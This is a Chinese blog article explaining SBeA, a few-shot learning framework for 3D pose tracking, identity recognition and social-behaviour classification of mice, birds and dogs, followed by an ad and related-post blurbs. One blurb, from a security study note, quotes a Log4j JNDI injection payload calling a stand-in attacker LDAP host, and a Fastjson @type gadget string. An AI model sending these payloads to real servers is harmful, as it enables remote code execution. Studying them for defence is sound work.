中科院深圳先进院提出 SBeA,基于少样本学习框架进行动物社会行为分析

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

鸟儿舒展羽翼,狼群拥护在头狼的身边,企鹅共同抚育后代……动物的社会行为背后都有着什么样的含义?繁殖、捕食、防御、建立社会等级的递进,是否揭示了人类一步步进化的过程?

这些问题的研究被称为动物社会行为研究 (animal social behaviour),该研究精确量化、身份识别和行为分类的特性,有助于揭示大脑功能和精神障碍在交互过程中的作用。同时,动物社会行为研究模型也在人类社会障碍研究中发挥重要作用,而社会障碍则是自闭症、抑郁症以及社交焦虑症等疾病的高度共有病征。

过去,对动物社交行为的研究和理解受到了数据标注不足的限制。尽管如 multi-animal DeepLabCut、SLEAP 和 AlphaTracker 等深度学习技术为数据标注提供了强大的工具,但其在实验场景中的应用却受到高质量基准数据集可用性的限制。现有的多动物姿态估计数据集往往无法覆盖广泛的社交行为测试模型。这限制了研究的广度和深度,因为不同物种或不同环境下的行为可能无法得到充分的考虑。

动物行为研究急需通过技术创新提升研究效率和准确性。基于此,SBeA (Social Behavior Atlas) 应运而生,由中国科学院深圳高新技术研究院开发,能够全面量化自由群居动物的行为,使用较少的标记帧数(约 400 帧)进行多动物三维姿态估计,通过双向迁移学习策略,在多动物身份识别方面的准确率超过 90%。相关成果发表于Nature。

在这里插入图片描述

论文链接:

https://www.nature.com/articles/s42256-023-00776-5
关注公众号,回复「SBeA」获取完整论文

SBeA 的两大结构:姿态跟踪和行为映射

为了全面量化自由群居动物的行为, SBeA 的主要工作有姿态跟踪 (3D pose tracking) 和行为映射 (social behavior mapping)。

3D 姿态跟踪:多动物社会行为和身份辨别

在这里插入图片描述

3D 姿态跟踪图解

3D 姿态跟踪过程如上图所示:

首先通过摄像头阵列对两只老鼠进行自由社交行为的视频采集,这一过程分为两个阶段。第一阶段专注于捕捉老鼠之间的自由社交互动,而第二阶段则旨在识别并记录这些互动中每只老鼠的身份,视频采集过程中使用棋盘格图像进行校准。

随后对采集到的多动物轮廓和单个动物姿态进行详细标注,输入多阶段人工神经网络对进行分析,输出结果如图 d 所示,分为三个部分:

  • AI 输出的视频实例、多动物姿态和多动物身份信息;

  • 结合摄像头校准参数的视频、姿态和身份信息的三维重构;

  • 带有身份信息的三维姿态的可视化展示。

行为映射:时间、空间的低维表征

在这里插入图片描述

社会行为映射图解

社会行为映射的过程如上图所示:

并行分解 (Parallel dynamic decomposition) 两只老鼠的原始三维运动轨迹 (Raw 3D trajectories),将其分解为 locomotion(如走、跑、跳、爬等形式的物理移动)、non-locomotor movement(不涉及整个身体在空间中位置变化的运动,如摇尾巴、耳朵抖动或身体姿态变化),body distance(两个或多个动物之间的物理距离)。

为了深入了解社会行为模块内特征的分布,将提取出的 3 个轨迹特征转换为空间和时间表征 (spatial and temporal representations),空间层面通过在 SBeA 中低维嵌入距离特征来捕捉(如图 f 左侧),时间层面通过社会行为图谱表示(如图 f 右侧)。

SBeA的训练:双向迁移学习和非监督式学习

双向迁移学习:不需要标记的多动物身份识别

在动物自由社会行为中,同种动物经常发生遮挡,导致手动标记 (annotations) 身份不精确,为应对这一挑战,研究人员提出在 SBeA 中使用双向迁移学习(下图 a),即已训练好的多动物分割模型可以迁移到单动物视频上,而已训练好的单动物身份识别模型也可以迁移到多动物身份识别上,这大大减少了手动标注动物身份的工作量。

在这里插入图片描述

双向迁移学习图示

使用双向迁移学习的训练方式包括:

  • 分割模型的复用(图 b):利用摄像头阵列捕捉动物的视频流,使用已训练好的 VisTR (VIS with transformers) 模型进行单个动物视频实例的分割,从多个角度获取数据。

  • 单动物身份识别模型训练(图 c):对数据进行裁剪、级联和调整图像大小,使用 EfficientNet 作为 backbone 训练多动物身份识别模型。

  • 多动物分割与3D重投影(图 d):对每个摄像头视角的掩码进行重投影,对这些数据进行裁剪、级联并调整图像大小,输入多动物身份识别模型。

  • 身份识别模型的复用(图 e):在多动物身份识别中复用已训练好的单动物身份识别模型。

这一过程涉及复杂的图像处理和数据转换,从不同视角、不同情境中提取有效信息,最终预测出动物身份和 3D 姿态的可视化结果。

为了评估 SBeA 的鉴定性能,研究人员记录了上述小鼠的自由社交行为,并对遮罩重投影图像和 3D 姿态逐帧进行了人工验证,结果显示,虽然有些单只小鼠的识别精确度较低,但识别成对小鼠的总体精确度可高于 0.85。

在这里插入图片描述

多动物身份识别的手动验证结果

非监督式学习:揭示社会行为结构

在非监督式学习的应用中,算法不依赖于预先标记或分类的数据,相反,其会试图直接从数据中发现模式和关系。

在此研究中,非监督式学习通过使用动态时间校准核 (dynamic time alignment kernel, DTAK) 来分解行为的动态结构,利用逻辑加法合并分解时点,将连续的姿态轨迹转化为离散的社会行为模块,如下图所示。

在这里插入图片描述

使用 PAIR-R24M 数据集对 SBeA 进行监督验证,结果显示,该研究成功地量化了社会行为模块的聚类性能,SBeA 可以有效的分类社会行为。

在这里插入图片描述

在 PAIR-R24M 数据集上使用 SBeA

SBeA:准确性 + 通用性

SBeA 的准确性:敲除 Shank3B 基因的小鼠行为研究

为探究 SbeA 是否能够检测到来自基因层面的社会行为差异,研究人员利用小鼠进行实验。被敲除 Shank3B 基因的小鼠表现出个体自闭行为,但是现有技术的局限让我们难以完全理解它们异常的自由社会行为。通过 SBeA 分析,研究团队发现基因敲除小鼠 (Shank3B knockout, KO) 与正常小鼠 (wild-type,WT) 在社会行为方面存在显著差异。

实验小鼠共三组:KO-KO、WT-WT、WT-KO。结果如下图所示,WT-WT 组有更灵活的社会行为,KO-KO 组比 WT-WT 组显示更多的异常社会行为,WT-KO 组比 WT-WT 组显示更密切的社会互动。

在这里插入图片描述

三组小鼠的社会行为图示

同时利用 SBeA 识别区分 KO 和 WT 小鼠微妙的社会行为模块 (subtle social behaviour modules),通过聚类分析,这些模块合并为 9 种主要的社会行为,包括蜷缩不动、探索行为、同伴嗅探和独立梳理等。

在这里插入图片描述

9 种主要社会行为

三组的社会行为如下:

在这里插入图片描述

行为聚类分析

WT-WT 组(绿色)表现出更多的同种异体调节 (allogrooming) 行为和探索 (exploring) 行为,体现了亲社会性 (prosocial)。

KO-KO 组(橙色)表现出较多异常社会行为、较低的运动能力和社交新颖性,这些异常行为可能是反社会 (antisocial) 行为的表征。

WT-KO 组(紫色)中观察到的社会行为主要是同伴嗅探和独立梳理。同伴嗅探在好奇心强的 WT 小鼠中更常见,独立梳理可能是 KO 小鼠对 WT 小鼠的模仿行为。

这一结果表示 SBeA 不仅可以区分基因突变动物的社会行为,还能确定遗传突变相关的微妙社会行为模块。

SBeA 的通用性:不同物种、不同环境下的分析

为评估 SBeA 在不同动物种类和实验设置下的通用性,研究团队利用鸟类和犬类开展研究。

在这里插入图片描述

图 a-d:SBeA 在鸟类的使用

在这里插入图片描述

图 e-h:SBeA 在犬类的使用

为提高 SBeA 的测试难度,实验中动物外观尽可能相似。将鸟类和犬类数据映射到社会行为图谱上,研究识别出鸟类和犬类分别对应的 34 种和 15 种社会行为类别(图 c、g),并在 3D 中可视化了它们的典型案例(图 d、h)。

结果显示,SBeA 对鸟类的 3D 姿态跟踪能识别其爪子触碰尾羽的动作,对犬类的 3D 姿态跟踪能应对卧姿等遮挡情况。

SBeA 的优势:少样本学习框架 (a few-shot learning framework)

2021 年,深圳先进院蔚鹏飞团队历时两年,利用自主研发的行为采集设备,能够获取动物三维立体的运动姿态,并根据动物行为类似语言一样的层次结构,提出了一种层次化动物行为分解模型,将连续、复杂的行为简化为可以被人们理解的动作模块。该研究已在自闭症模型小鼠进行了行为鉴定,成功实现在亚秒级自动精确识别其特征性的行为异常。

本文中的 SBeA 架构正是对 2021 年提出一类通用动物三维行为图谱框架「Behavior Atlas」的进一步拓展,对动物社会行为进行分类。

SBeA 使用的少样本学习框架,仅需要相对较少的手动标注帧来进行多动物3D姿态估计,实现了无标签的身份识别和应用无监督学习进行社会行为分类。这样的数据生成策略减少了对大规模、广泛标注数据集的依赖,进而应用于更大量的未标注数据。

通过迁移学习(利用在大型数据集上预训练的模型,然后对其进行微调,以适应特定任务的小型数据集)、数据增强(裁剪、旋转或颜色调整等技术从现有数据中生成新数据点,以增加训练数据集的大小)等方式开展的少样本学习框架具有强大的潜力,在人工智能研究中正变得越来越受欢迎。

参考资料:
1.https://www.nature.com/articles/s42256-023-00776-5
2.https://www.siat.ac.cn/kyjz2016/202401/t20240109_6952837.html

STM32以太网通信-STM32以太网外设(ETH) 通过 DMA 控制器进行介质访问控制 (MAC) STM32F4xx系列控制器内部集成了一个以太网外设,它实际上是一个通过DMA控制器进行介质访问控制(MAC),它的功能就是实现MAC 层的任务。 借助以太网外设,STM32F4xx 控制器可以通过ETH 外设按照IEEE 802.3-2002 标准发送和接收MAC 数据包。 ETH 内部自带专用的DMA 控制器用于MAC,ETH 支持两个工业标准接口介质独立接口(MII)和简化介质独立接口(RMII)用于与外部PHY 芯片连接。MII 和RMII 接口用于 阅读详情

相关推荐

BH1750光强度传感器Stm32f103驱动(已测试ok)

1. 实验:Stm32f103 驱动 bh1750采集光照强度,串口打印采集到的数据。 2. 实验准备器材 开发版:stm32f103c8t6 器件:bh1750 GY-302 开发环境:win10,KILE4 下载程序的软件:FlyMcu.exe 串口调试助手:ComAssistant.exe 3. BH1750 的接线 VCC:5V或3.3V ...

weixin_53329977的博客 8933

小样本学习登Nature!计算效率高170倍,彻底起飞

SBeA是一个用于多动物3D姿势估计、身份识别和社会行为分类的小样本学习框架,能够全面量化自由群居动物的行为,使用较少的标记帧数(约 400 帧)进行多动物三维姿态估计。结果显示SBeA成功地量化了社会行为模块的聚类性能,可以有效的分类社会行为。在多动物身份识别方面,SBeA的准确率超过 90%。这类方法能够在有限的数据情况下训练模型,,同时加快模型的开发和部署速度,让模型能够学习到更加泛化的特征,。因此,。这次我整理了,来自近一年高引用的顶会文章,原文以及开源代码已附,方便同学们复现。

学姐带你玩AI的博客 2133

深入解析高通Adreno DPU的DRM/KMS驱动架构与硬件协同设计

本文深入解析了高通Adreno DPU的DRM/KMS驱动架构与硬件协同设计,详细介绍了Adreno DPU的核心模块组成、显示接口设计以及DRM驱动架构。通过实际案例和调试技巧,帮助开发者理解硬件与软件的协同工作原理,优化显示性能并解决常见问题。

weixin_29266679的博客 440

每周编辑精选|希尔贝壳语音数据集系列上线、中国学者建立乳腺癌预后评分系统 MIRS

hyper.ai 本周官网更新速览: * 优质公共数据集:8 个‍ 1️⃣ AISHELL-1 开源中文语音数据库 2️⃣ DeepSymNet 深度符号网数据集 … * AI4S 论文案例:2 篇 1️⃣ 剑指全球第一大癌症,中国学者建立乳腺癌预后评分系统 MIRS 2️⃣ 中科院深圳先进院提出 SBeA,基于少样本学习框架进行动物社会行为分析 * 热门百科词条:8 条 1️⃣ 每秒浮点运算次数FLOPS 2️⃣ 随机漫步 Random Walk … 更多资源干货详见本文→

HyperAI超神经 947

自锁电路设计

Hi,uu们,是不是经常要用到自锁电路,通常不是使用555芯片就是用比较器来做自锁,今天我们来简单看下自锁电路的设计.图1采用了比较器构建了一个自锁电路,采用低电平复位,当需要复位的时候志需要将反向端的二极管拉低一下即可,免去 三极管控制同相端和电源短接的麻烦。图1:比较器构建的自锁电路也可以使用555去构建,如下图2所示.图2:使用555构建的自锁电路工作原理见555的真值表,真值表如表1所示.表1:555电路真值表相对来说555还是比较贵,所以我就想能不能有个便宜的方法做个自锁电路,构建电路如下图3所示

weixin_43884675的博客 7078

手把手教你校准垂起固定翼(VTOL)遥控器与电调:从零到飞的完整流程

本文详细介绍了垂起固定翼(VTOL)遥控器与电调的校准流程,从基础认知到飞行前检查,涵盖遥控器通道配置、电调校准、舵机方向调整等关键步骤。通过图文并茂的指导,帮助无人机爱好者安全完成VTOL调试,确保首飞成功。特别强调多旋翼模式、过渡模式和固定翼模式的设置要点,适合新手和进阶用户参考。

jenkins8butler的博客 361

Zig 设计哲学与核心特性 · 0.17 学习手册

本文为Zig 0.17完整学习手册,基于B站19讲视频整理,全面适配Zig 0.17.1版本。涵盖设计哲学(如“一切可见”、显式内存分配)、核心特性(?T、错误即值、comptime、SIMD)及工程实践(Allocator心智模型、零堆分配、Async I/O)。所有代码经实测通过,标注过时写法并提供迁移指南,附30个可运行示例与附录索引,助力开发者从入门迈向系统级编程。

代码过客 146

OpenCV 开闭运算

开运算和闭运算是将腐蚀和膨胀按照一定的次序进行处理。 但这两者并不是可逆的,即先开后闭并不能得到原来的图像。 开运算 开运算是先腐蚀后膨胀,其作用是:分离物体,消除小区域。特点:消除噪点,去除小的干扰块,而不影响原来的图像。 闭运算 闭运算与开运算相反,是先膨胀后腐蚀,作用是消除/“闭合”物体里面的孔洞,特点:可以填充闭合区域。 cv.morphologyEx(img, op, kernel) img: 要处理的图像 op: 处理方式:若进行开运算,则设为cv.MORPH_OPEN,若进行闭

꧁༺ʚvv༒catɞ༻꧂的博客 950

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 242

《QGIS快速入门与应用基础》【专栏完整目录】

《QGIS快速入门与应用基础》第一卷专栏完整目录,覆盖 001–328 全部篇目与附录,逐篇可跳转。

LuckyHanMo的博客 1305

VR大空间开发前期,设备选项与流程

欢迎开发者加入 VR 大空间开发之旅!本系列教程将以 Pico 和 HTC 设备为核心,系统拆解从基础搭建到功能实现的全流程,助你快速掌握开发要点。本系列共 12 篇,专为有编程基础但缺乏大空间开发经验的开发者设计。前 7 篇针对 Pico 和 HTC 设备差异分别讲解,后续步骤通用。核心目录如下:​1. 空间环境要求 - 灯光设置 - 场地面积规划 - 识别图案设计2. 网络部署方案3. 客户端体验模式解析 - 一体机模式 - 云渲染模式 - 背包体验模式4. Pico空间录制方法

unitygroup的博客 1357

带着小白学习-微服务-6 实战:网关

地址栏输入:http://localhost:8088/goods/index,这时候就不是到8100端口去调用了,而是8088直接通过路由转发,分别到nacos对应的goods对应的服务中区调用。** 可以看出,这里将前面已经正常运行的server-store子工程(库存服务,服务提供方),server-goods子工程(商品服务,服务消费方)。(1)uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务;,网关是做路由转发,不是服务调用;

wdyan297的博客 251

安卓开发工程师在车载项目中的角色与技术实践

本文全面探讨了安卓开发工程师在车载项目中的关键角色,重点分析了技术栈(Kotlin/Java/Gradle)、岗位职责和任职要求。文章详细解读了车载安卓开发的核心技能,包括架构设计、性能优化和缺陷修复,并提供了20个针对性面试问题及答案。特别强调了车载环境的特殊需求,如硬件集成、安全认证和实时性要求。通过技术深度与实践案例的结合,为开发者和企业提供了从需求分析到系统优化的完整指导,旨在提升车载安卓开发的专业水平和招聘效率。

郑伟强dev的专栏 136

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 214

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 177

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

焦点仿真学习记录:water_only 基线怎么搭、怎么验、怎么调

在纯水介质中搭建5阵元几何聚焦仿真,通过合理设置网格、介质参数、源延时与传感器区域,实现焦点理论位置的精准对齐。基于声速计算延时,验证焦点位置误差小于0.1 mm,峰值压力达1.2×10⁵ Pa,确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照,确保聚焦性能评估可量化。

qq_43441284的博客 513

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

MCP 学习总结:从理解协议到设计工具

MCP 为 AI 应用提供统一发现与调用外部能力的协议,区别于传统 HTTP API 与模型工具调用。它聚焦上下文交换,不替代模型逻辑或上下文管理。研发中需明确角色(Host/Client/Server),合理划分 Tools、Resources、Prompts,设计可被模型理解的工具契约,注重粒度拆分与幂等性,确保权限在执行端控制。通过小功能切入,验证正常与异常流程,逐步构建可协作、可维护的 AI 能力体系。

YZ099的博客 261

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 376

React 进阶 21 天学习计划

本学习计划专为有经验的 React 开发者设计,聚焦 React 19 新特性、性能优化与架构进阶。通过21天系统训练,掌握 use Hook、Server Components、Server Actions、状态管理选型(Zustand/Jotai/RTK)及 RSC 全栈开发,提升工程化能力与高级架构思维,实现从“会用”到“精通”的跃迁。

富朝阳的博客 172

Axum 初步入门学习笔记

)自定义错误实现后,可以直接作为Result的ErrAxum 是一个构建在 Tokio、Tower、Hyper 之上的 Rust Web 框架,核心能力是:Router 路由、Extractor 提取器、Tower 中间件、IntoResponse 响应机制、State 共享状态。那张分层架构图是“地图”不是“说明书”:它帮你建立全局观,但 Service、Repository、数据库、Redis、MQ 都是你自己在 Handler 内部调用的业务/基础设施层,不是 Axum 自带的。

weixin_43219667的博客 206

基于SpringBoot青少年法律学习宣传平台-附源码

为加强青少年法治教育,普及基础法律知识,传统线下普法讲座、纸质宣传手册形式存在传播范围有限、学习时间不灵活、学习效果难以跟踪等问题。本系统面向青少年、普法教师以及平台管理员开发线上法律学习宣传平台。青少年用户可以浏览普法文章、观看法治微课、完成法律知识习题、参与线上答题、留言咨询法律相关问题;教师可以上传普法学习资料、发布知识问卷、查看学生学习记录;管理员负责管理普法资源、审核留言、管理用户信息、统计学习数据。

专注于大学生项目实战开发,讲解,毕业答疑辅导,java就业辅导,高校老师/讲师/同行合作。以及产品测评宣传、工具推广等合作。全网粉丝10w+,平台优质java、小程序创作者。 237

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 249

扣子Coze学习笔记 02 · 智能体开发基础(视频9-15)

本模块系统讲解智能体开发全流程:从创建、模式选择(推荐单Agent自主规划)、参数调优(随机性、上下文轮数、回复长度)到提示词编写(CO-STAR框架+边界限制),强调“双向交互”与“持续学习”的核心价值。通过奶茶师傅类比,厘清智能体与自动化工具的本质区别。重点掌握系统提示词定义角色边界、用户提示词规范输入,并完成发布与开场白优化闭环。实操建议边学边调试,反复验证提示词边界,确保智能体稳定可用。

Question_123456的博客 626

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击,相比拼接写法更安全。Filter用于拦截请求与响应,实现权限控制、敏感词过滤等功能,具备初始化、过滤、销毁生命周期;如XssFilter拦截非法参数,AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化,如Session的创建与销毁,实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 246

Git与GitHub系统学习|本地Git工作模型:终端与进程、CWD、HEAD/Index/工作树及Git对象

从GitHub网页端走向本地Git,讲清终端、Shell、进程与工作目录,解释仓库发现、HEAD、Index和工作树,分析Commit/Tree/Blob引用、文件树与暂存机制,区分实测与教学示例。

Brookty的博客 789

GS-Playground:一种用于视觉感知机器人学习的高吞吐量、照片级逼真模拟器

论文:GS-Playground: A High-Throughput Photorealistic Simulator for Vision-Informed Robot Learning(arXiv 2604.25459,来自清华、Motphys、Dexmal、DISCOVER Robotics、港科大(广州)、北理工、Galbot、新加坡国立、哈工大(深圳)、西交、南大、上交和D-Robotics) GS-Playground 里“合并 GS 和 mesh”的方式更接近双表示 + 刚体绑定,不是联合优

yorkhunter的博客 512
上一篇: Vitis AI 集成
下一篇: 每周编辑精选|希尔贝壳语音数据集系列上线、中国学者建立乳腺癌预后评分系统 MIRS
HyperAI超神经
博客等级 码龄7年 8873粉丝 1753原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值